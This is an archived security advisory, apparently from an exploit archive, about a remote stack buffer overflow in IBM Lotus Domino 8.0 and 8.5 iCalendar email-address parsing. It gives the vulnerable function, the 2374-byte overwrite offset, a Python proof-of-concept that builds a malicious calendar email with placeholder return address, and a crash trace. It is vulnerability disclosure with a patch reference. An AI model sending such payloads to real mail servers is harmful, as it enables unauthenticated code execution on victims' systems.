what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IBM Lotus Domino iCalendar Stack Buffer Overflow

IBM Lotus Domino iCalendar Stack Buffer Overflow
Posted Sep 15, 2010
Authored by A. Plaskett

IBM Lotus Domino iCalendar suffers from an email address stack buffer overflow vulnerability. Versions 8.0 and 8.5 are affected.

tags | exploit, overflow
SHA-256 | 16535cd708efaec4cc2eb1ff7547ec73bf0cd92eaab823f875f7a249ef6fe6b8

IBM Lotus Domino iCalendar Stack Buffer Overflow

Change Mirror Download
source: http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/

IBM Lotus Domino iCalendar Email Address Stack Buffer Overflow Vulnerability

Package Name: Lotus Domino Server
Date Reported: 2010-01-09
Affected Versions: Versions 8.0 and 8.5 on AIX, AIX 64bit, Linux, Linux iSeries, Linux
zSeries, Solaris, Windows, Windows 64bit, z/OS
CVE Reference Not Yet Assigned
Author A. Plaskett
Severity High Risk
Local/Remote Remote
Impact The vulnerability would enable an attacker to execute arbitrary code
on the system in the context of the currently executing nrouter process.
Vulnerability Class Stack based buffer overflow
Vendor URL http://www.ibm.com
Version 8.0, 8.5
Vendor Response A patch is available from: http://www-
01.ibm.com/support/docview.wss?rs=475&uid=swg21446515

Overview:
An unauthenticated remote code execution vulnerability was identified in the code
handling the conversion and checking of an iCalendar email address parameter. An
overly large email address string can lead to the overflow of a stack allocated buffer
due to insufficient bounds checking when a CStrcpy (string copy) is performed. A
remote, unauthenticated attacker could execute code in the context of the Lotus
Domino server process (nrouter.exe) by sending a specially crafted malicious email
to the Lotus Domino SMTP server.


Technical Background
The vulnerability exists due to a lack of bounds checking performed in the function
“nnotes!MailCheck821Address” before performing a string copy operation (Cstrcpy).

.text:602738F7 push esi
.text:602738F8 push edx
.text:602738F9 call Cstrcpy

The ESI register holds the source address of the copy, which is read from the
iCalendar email and so is under an attacker’s control. The EDX register holds the
address of the fixed size stack buffer.

Consequently, the Cstrcpy operation can be passed a string which overflows the
fixed size stack based buffer and causes memory corruption. This memory corruption
can be used to hijack the flow of execution of the program and execute arbitrary
code.

Exploit Information
An attacker could exploit this vulnerability by crafting an email containing an
iCalendar with an email address string which is sufficiently long to overwrite stack
based variables and also overwrite the saved return address which is stored in the
stack frame (the required string length being 2374 bytes). The attacker could then
pass an address which would be used to overwrite the saved return address. When
the function returns, the return address is popped off the stack and loaded into the
EIP (Extended Instruction Pointer) register. At this point, the attacker has full control
over the execution of the program and can execute their desired code.

The following proof of concept Python code excerpt can be used to trigger the
vulnerability with the malicious ORGANIZER mailto address:


ret_address = “BBBB”
overflow = ("A" * 2374) + ret_address + ("C" * 6632)
organiser = "ORGANIZER:mailto:H@%s.com" % overflow
body = "Content-Type: text/calendar; method=COUNTER; charset="UTF-8"
Subject: sent_mail2.txt
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
BEGIN:VCALENDAR
METHOD:COUNTER
PRODID:-//HGOPO@VDGCOHBCOGHRO@GQHOOPGHHCCCGCBGGCLGMCPN//
VERSION:2.0
BEGIN:VEVENT
UID:KORBOOGGGOHGNIH
SEQ:2
RRULE:aaaa
%s
ATTENDEE;:Mailto:aaaa@localdomain
SUMMARY:PGOMG@OMPGR@KOFMEOPNCMH
DTSTART:20091130T093000Z
DTEND:20091130T093000Z
DTSTAMP:20091130T083147Z
LOCATION:Location
STATUS:aaaa
END:VEVENT
END:VCALENDAR
“”” % organiser


If this email is delivered to a Lotus Domino SMTP server, nrouter will perform the
following calls: -

0833519c 60ca844c 094dddb8 nnotes!MailCheck821Address+0xb07
0833519c 00000019 083200f8 nnotes!Note2iCal+0x1c25c
0000000a 083200f8 094de824 nnotes!iCal2NotesExtract+0x247
000000c7 06e41f62 083210ac nRouter+0x3ee9e
00000063 000000c7 06e41f62 nRouter+0x3f1cd
02a19f58 00000000 000000c7 nRouter+0x1c433
004673a0 00000000 03f23325 nRouter+0x1ddd0
004673a0 21700001 00000001 nRouter+0x1e3a5
029b0000 00000000 00000000 nRouter+0x1e6ed
00000000 094dffd4 7751b3f5 nnotes!OSProcessIsGUI+0xef
00000000 7e454e05 00000000 kernel32!BaseThreadInitThunk+0x12
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x63
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x36

Leading to the incorrectly bounded Cstrcpy function being called and the return
address being overwritten with 42424242, which will then be loaded into the EIP
register. At this point the attacker has full control over the flow of execution of the
program (nrouter.exe).

Dependencies
In order to exploit this vulnerability an attacker would need to know the email
address of a valid Lotus Domino mailbox account. It should be noted, however, that
no user interaction is required for the vulnerability to be triggered (nrouter will
process the email automatically).

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close